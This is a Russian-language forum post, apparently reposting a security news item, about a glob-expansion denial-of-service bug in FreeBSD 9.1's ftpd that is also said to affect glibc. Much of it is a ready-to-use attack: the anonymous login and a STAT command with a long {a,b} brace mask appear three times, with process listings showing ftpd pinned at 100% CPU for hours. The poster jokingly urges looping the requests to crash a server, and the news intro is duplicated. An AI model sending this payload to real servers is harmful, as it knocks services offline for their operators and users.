В штатном FTP-сервере ftpd из состава FreeBSD 9.1 найдена проблема (
Выполнение запроса приводит к чрезмерной нагрузке на CPU. Сообщается, что проблема вызвана особенностью реализации функции glob в BSD libc и также проявляется варианте данной функции из состава Glibc.
В NetBSD и OpenBSD проблема была исправлена в 2011 году.
Хе, чтобы положить сервак, достаточно зациклить:
user anonymous
pass anonymous
Пример:
В результате получаем:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
), позволяющая удалённо инициировать отказ в обслуживании через подстановку в качестве аргумента команды stat специально оформленной маски. Выполнение запроса приводит к чрезмерной нагрузке на CPU. Сообщается, что проблема вызвана особенностью реализации функции glob в BSD libc и также проявляется варианте данной функции из состава Glibc.
В NetBSD и OpenBSD проблема была исправлена в 2011 году.
Хе, чтобы положить сервак, достаточно зациклить:
user anonymous
pass anonymous
Пример:
Код:
user anonymous
pass anonymous
stat
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
В результате получаем:
Код:
Result of attack:
ftp 13034 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.96
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13035 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.89
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13036 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.73
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13046 0.0 0.4 10416 1952 ?? R 10:48PM 0:00.41
ftpd: cxsec.org anonymous/anonymous (ftpd)
ftp 13047 0.0 0.4 10416 1960 ?? R 10:48PM 0:00.42
ftpd: cxsec.org anonymous/anonymous (ftpd)
...
root 13219 0.0 0.3 10032 1424 ?? R 10:52PM 0:00.00
/usr/libexec/ftpd -dDA
root 13225 0.0 0.3 10032 1428 ?? R 10:52PM 0:00.00
/usr/libexec/ftpd -dDA
root 13409 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00
/usr/libexec/ftpd -dDA
root 13410 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00
/usr/libexec/ftpd -dDA
...
=>Sending:
STAT
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
=>Result:
@ps:
ftp 1336 100.0 0.5 10416 2360 ?? R 11:15PM 600:39.95
ftpd: 127.0.0.1: anonymous/anonymous () cxsecurity com: \r\n (ftpd)$
@top:
1336 root 1 103 0 10416K 2360K RUN 600:53 100.00% ftpd
one request over 600m (~10h) execution time and 100% CPU usage. This
issue allow to create N ftpd processes with 100% CPU usage.
Достаточно сделать loop while(1) и посылать комманды :)
---
user anonymous
pass anonymous
stat
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
---